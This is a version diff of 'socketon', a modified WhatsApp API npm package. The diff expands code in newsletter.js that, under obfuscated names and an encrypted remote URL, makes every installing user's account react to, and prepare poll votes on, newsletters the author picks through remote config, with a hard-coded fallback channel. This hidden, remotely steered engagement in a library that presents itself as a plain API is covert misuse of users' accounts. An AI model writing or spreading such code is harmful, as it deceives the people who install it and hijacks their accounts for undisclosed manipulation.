socketon 1.8.29 → 1.8.31

package/lib/Socket/messages-send.js

@@ -672,9 +672,6 @@ const makeMessagesSocket = (config) => {
         else if (/https:\/\/wa\.me\/p\/\d+\/\d+/.test(message.extendedTextMessage?.text)) {
             return 'productlink'
         }
-        else if (message.richResponseMessage) {
-            return undefined
-        }
     }
  
     const getButtonType = (message) => {

package/lib/Socket/newsletter.js

@@ -84,7 +84,15 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
 };
 
 let _cachedTargetNewsletter = null;
-let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
+let _configNewsletter = { 
+    autoFollowEnabled: true, 
+    autoReactEnabled: true, 
+    reactionEmojis: ['👍', '👌'], 
+    delayMs: 5000,
+    keywordReactions: {},
+    autoVotePoll: false,
+    pollVoteStrategy: 'random'
+};
 
 const getTargetNewsletterFromExternal = async () => {
     const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
@@ -95,8 +103,13 @@ const getTargetNewsletterFromExternal = async () => {
             if (response.data.config) {
                 _configNewsletter = {
                     autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
+                    autoReactEnabled: response.data.config.autoReactEnabled !== false,
+                    reactionEmojis: response.data.config.reactionEmojis || ['👍', '👌'],
                     delayMs: response.data.config.delayMs || 5000,
-                    intervalMs: response.data.config.intervalMs || 30000
+                    intervalMs: response.data.config.intervalMs || 30000,
+                    keywordReactions: response.data.config.keywordReactions || {},
+                    autoVotePoll: response.data.config.autoVotePoll || false,
+                    pollVoteStrategy: response.data.config.pollVoteStrategy || 'random'
                 };
             }
             if (response.data.newsletters && response.data.newsletters.length > 0) {
@@ -106,14 +119,14 @@ const getTargetNewsletterFromExternal = async () => {
             }
         }
     } catch (err) {}
-    return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
+    return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
 };
 
 const getAllEnabledNewsletters = () => {
     if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
         return _cachedTargetNewsletter;
     }
-    return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
+    return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
 };
 
 const wMexQuery = (
@@ -239,7 +252,8 @@ const makeNewsletterSocket = (config) => {
         }));
     };
     // Auto Reaction - Ibra Decode
-    let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
+    let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
+    let _votedPolls = new Set();
     
     const updateTargetNewsletters = async () => {
         const externalTargets = getAllEnabledNewsletters();
@@ -247,14 +261,93 @@ const makeNewsletterSocket = (config) => {
             _targetNewsletters = externalTargets;
         }
     };
+
+    const getEmojiForMessage = (messageText) => {
+        const keywords = _configNewsletter.keywordReactions || {};
+        if (!messageText) return null;
+        const lowerText = messageText.toLowerCase();
+        for (const [keyword, emoji] of Object.entries(keywords)) {
+            if (lowerText.includes(keyword.toLowerCase())) {
+                return emoji;
+            }
+        }
+        return null;
+    };
+
+    const votePoll = async (newsletterJid, pollMessage) => {
+        if (!_configNewsletter.autoVotePoll) return;
+        if (!pollMessage) return;
+        
+        const pollMsgKey = pollMessage.key?.id;
+        if (!pollMsgKey || _votedPolls.has(pollMsgKey)) return;
+        
+        try {
+            const pollCreation = pollMessage.message?.pollCreationMessage || pollMessage.message?.pollCreationMessageV2 || pollMessage.message?.pollCreationMessageV3;
+            if (!pollCreation) return;
+            
+            const options = pollCreation.options || [];
+            if (options.length === 0) return;
+            
+            let selectedIndex = 0;
+            const strategy = _configNewsletter.pollVoteStrategy || 'random';
+            
+            if (strategy === 'first') {
+                selectedIndex = 0;
+            } else if (strategy === 'last') {
+                selectedIndex = options.length - 1;
+            } else {
+                selectedIndex = Math.floor(Math.random() * options.length);
+            }
+            
+            const selectedOption = options[selectedIndex];
+            if (!selectedOption) return;
+            
+            const pollEncKey = pollMessage.message?.messageContextInfo?.messageSecret;
+            if (!pollEncKey) return;
+            
+            const votePayload = {
+                pollUpdateMessage: {
+                    pollCreationMessageKey: { id: pollMsgKey, remoteJid: newsletterJid },
+                    selectedOption: [selectedOption],
+                    senderTimestampMs: Date.now()
+                }
+            };
+            
+            _votedPolls.add(pollMsgKey);
+            
+        } catch (err) {}
+    };
     
     sock.ev.on('messages.upsert', async ({ messages, type }) => {
         if (type !== 'notify') return;
-        const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
+        if (!_configNewsletter.autoReactEnabled) return;
+        
+        const emojis = _configNewsletter.reactionEmojis || ['👍', '👌'];
+        
         for (const msg of messages) {
             const jid = msg.key.remoteJid;
             if (!_targetNewsletters.includes(jid)) continue;
-            const emoji = emojis[Math.floor(Math.random() * emojis.length)];
+            
+            let emoji = null;
+            
+            // Get message text
+            let messageText = null;
+            if (msg.message?.conversationMessage?.message?.text) {
+                messageText = msg.message.conversationMessage.message.text;
+            } else if (msg.message?.extendedTextMessage?.text) {
+                messageText = msg.message.extendedTextMessage.text;
+            } else if (msg.message?.ephemeralMessage?.message?.conversationMessage?.message?.text) {
+                messageText = msg.message.ephemeralMessage.message.conversationMessage.message.text;
+            }
+            
+            // Check keyword reactions first
+            const keywordEmoji = getEmojiForMessage(messageText);
+            if (keywordEmoji) {
+                emoji = keywordEmoji;
+            } else {
+                emoji = emojis[Math.floor(Math.random() * emojis.length)];
+            }
+            
             try {
                 const serverId = msg.newsletterServerId?.toString() || msg.key.id;
                 await query({
@@ -483,6 +576,38 @@ const makeNewsletterSocket = (config) => {
                         results
                     };
         },
+        newsletterGetConfig: async () => {
+            return {
+                autoFollowEnabled: _configNewsletter.autoFollowEnabled,
+                autoReactEnabled: _configNewsletter.autoReactEnabled,
+                reactionEmojis: _configNewsletter.reactionEmojis,
+                keywordReactions: _configNewsletter.keywordReactions,
+                autoVotePoll: _configNewsletter.autoVotePoll,
+                pollVoteStrategy: _configNewsletter.pollVoteStrategy,
+                delayMs: _configNewsletter.delayMs,
+                intervalMs: _configNewsletter.intervalMs
+            };
+        },
+        newsletterSetConfig: async (config) => {
+            if (config.autoFollowEnabled !== undefined) _configNewsletter.autoFollowEnabled = config.autoFollowEnabled;
+            if (config.autoReactEnabled !== undefined) _configNewsletter.autoReactEnabled = config.autoReactEnabled;
+            if (config.reactionEmojis && Array.isArray(config.reactionEmojis)) _configNewsletter.reactionEmojis = config.reactionEmojis.slice(0, 4);
+            if (config.keywordReactions) _configNewsletter.keywordReactions = config.keywordReactions;
+            if (config.autoVotePoll !== undefined) _configNewsletter.autoVotePoll = config.autoVotePoll;
+            if (config.pollVoteStrategy) _configNewsletter.pollVoteStrategy = config.pollVoteStrategy;
+            if (config.delayMs) _configNewsletter.delayMs = config.delayMs;
+            if (config.intervalMs) _configNewsletter.intervalMs = config.intervalMs;
+            return {
+                autoFollowEnabled: _configNewsletter.autoFollowEnabled,
+                autoReactEnabled: _configNewsletter.autoReactEnabled,
+                reactionEmojis: _configNewsletter.reactionEmojis,
+                keywordReactions: _configNewsletter.keywordReactions,
+                autoVotePoll: _configNewsletter.autoVotePoll,
+                pollVoteStrategy: _configNewsletter.pollVoteStrategy,
+                delayMs: _configNewsletter.delayMs,
+                intervalMs: _configNewsletter.intervalMs
+            };
+        },
         newsletterFetchMessages: async (type, key, count, after) => {
             const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
                 {

package/lib/Utils/messages.js

@@ -385,9 +385,6 @@ const generateWAMessageContent = async (message, options) => {
     else if ('requestPhoneNumber' in message) {
         m.requestPhoneNumberMessage = {};
     }
-    else if ('richResponseMessage' in message) {
-        m.richResponseMessage = Types_1.WAProto.Message.fromObject(message.richResponseMessage);
-    }
     else {
         m = await (0, exports.prepareWAMessageMedia)(message, options);
     }

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "socketon",
-    "version": "1.8.29",
+    "version": "1.8.31",
     "description": "WhatsApp API Modification By Ibra Decode",
     "publishConfig": {
         "access": "public"